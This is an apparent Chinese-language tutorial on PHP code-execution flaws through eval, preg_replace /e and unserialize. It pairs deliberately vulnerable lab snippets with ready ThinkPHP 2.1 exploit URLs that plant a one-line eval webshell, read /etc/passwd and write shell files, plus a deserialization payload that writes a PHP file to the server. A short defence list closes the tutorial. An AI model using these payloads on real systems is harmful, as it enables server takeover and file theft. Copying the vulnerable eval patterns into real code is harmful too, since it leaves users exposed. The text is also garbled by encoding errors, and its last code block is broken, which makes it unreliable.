代碼執(zhí)行
當(dāng)應(yīng)用在調(diào)用一些能將字符轉(zhuǎn)化為代碼的函數(shù)(如PHP中的eval)時(shí),
沒(méi)有考慮用戶(hù)是否能控制這個(gè)字符串,這就會(huì)造成代碼執(zhí)行漏洞。
相關(guān)函數(shù)
PHP:eval assert
Python:exec
asp:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
Java:沒(méi)有類(lèi)似函數(shù),但采用的反射機(jī)制和各種基于反射機(jī)制的表達(dá)式引擎(OGNL、SpEL、MVEL等)有類(lèi)似功能
phpcms中的string2array函數(shù)
這個(gè)函數(shù)可以將phpcms的數(shù)據(jù)庫(kù)settings的字符串形式的數(shù)組內(nèi)容轉(zhuǎn)換為真實(shí)的數(shù)組
array( //這個(gè)是字符串形式的數(shù)組,它并不是數(shù)組,而是字符串
'upload_maxsize' => '2048',
'upload_allowext' => 'jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf',
'watermark_enable' => '1',
'watermark_minwidth' => '300',
'watermark_minheight' => '300',
'watermark_img' => '/statics/images/water/mark.png',
'watermark_pct' => '85',
'watermark_quality' => '80',
'watermark_pos' => '9',
)
function string2array($data) {
//這個(gè)函數(shù)可以將字符串$data轉(zhuǎn)化為數(shù)組
if($data == '')
return array();
@eval("\$array = $data;");
return $array;
}
漏洞危害
執(zhí)行代碼
讓網(wǎng)站寫(xiě)shell
甚至控制服務(wù)器
漏洞分類(lèi)(也是利用點(diǎn))
執(zhí)行代碼的函數(shù):eval、assert
callback函數(shù):preg_replace + /e模式
反序列化:unserialize()(反序列化函數(shù))
搭建環(huán)境實(shí)驗(yàn)
- 示例一
<?php
$data = $_GET['data'];
eval("\$ret = $data;");
echo $ret;
?>

code_execution_eval1.png
- 示例二
<?php
$data = $_GET['data'];
eval("\$ret = strtolower('$data');");
echo $ret;
?>

code_execution_eval2.png
- 示例三
<?php
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
?>

code_execution_eval3.png

code_execution_eval4.png
- 示例四
<?php
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
?>

code_execution_eval5.png

code_execution_eval6.png
- 示例五
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
/e修正符使preg_replace()將replacement參數(shù)當(dāng)作PHP 代碼(在適當(dāng)?shù)哪嫦蛞锰鎿Q完之后)
<?php
$data = $_GET['data'];
// echo $data;
preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1"',$data);
echo $ret;
?>

code_execution_preg_replace.png
具體操作
# 一般找CMS相應(yīng)版本漏洞,如ThinkPHP2.1
* 一句話(huà)
http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}}
* 得到當(dāng)前路徑
http://www.xxx.com/News/detail/id/{${print(getcwd()))}}
* 讀文件
http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST['f'])))}}
POST的數(shù)據(jù)為:f=/etc/passwd
* 寫(xiě)shell
http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST['f'],$_POST[d])))}}
POST的數(shù)據(jù)為:f=1.php&d=<?php @eval($_POST['aa'])?>
漏洞防御
- 使用json保存數(shù)組,當(dāng)讀取時(shí)就不需要使用eval了
- 對(duì)于必須使用eval的地方,一定嚴(yán)格處理用戶(hù)數(shù)據(jù)
- 字符串使用單引號(hào)包括可控代碼,插入前使用addslashes轉(zhuǎn)義
- 放棄使用preg_replace的e修飾符,使用preg_replace_callback()替換
- 若必須使用preg_replace的e修飾符,則必用單引號(hào)包裹正則匹配出的對(duì)象
關(guān)于反序列化漏洞
序列化:使用函數(shù)serialize()可將實(shí)例序列化為字符串
反序列化:使用函數(shù)unserialize()可將序列化的字符串還原
若服務(wù)端有如下代碼:
<?php
class foo{
public $file = "test.txt";
public $data = "123456";
function __destruct(){
file_put_contents($this->file,$this->data);
}
}
$d = $_REQUEST['str'];
var_dump($d);
echo "<br />";
$tc = unserialize(base64_decode($d));
var_dump($tc);
?>
客戶(hù)端可構(gòu)造如下代碼生成序列化后的字符串提交給服務(wù)端,
服務(wù)端就會(huì)生成文件xx.php,內(nèi)容為<b><?php phpinfo(); ?></b>:
<?php
class foo {
public $?le = "test.txt";
public $data = "123456";
function __destruct() {
?le_put_contents($this->?le, $this->data);
}
}
$f = new foo();
$f->?le = "xx.php";
$f->data = "<?php phpinfo(); ?>";
echo base64_encode(serialize($f));
?>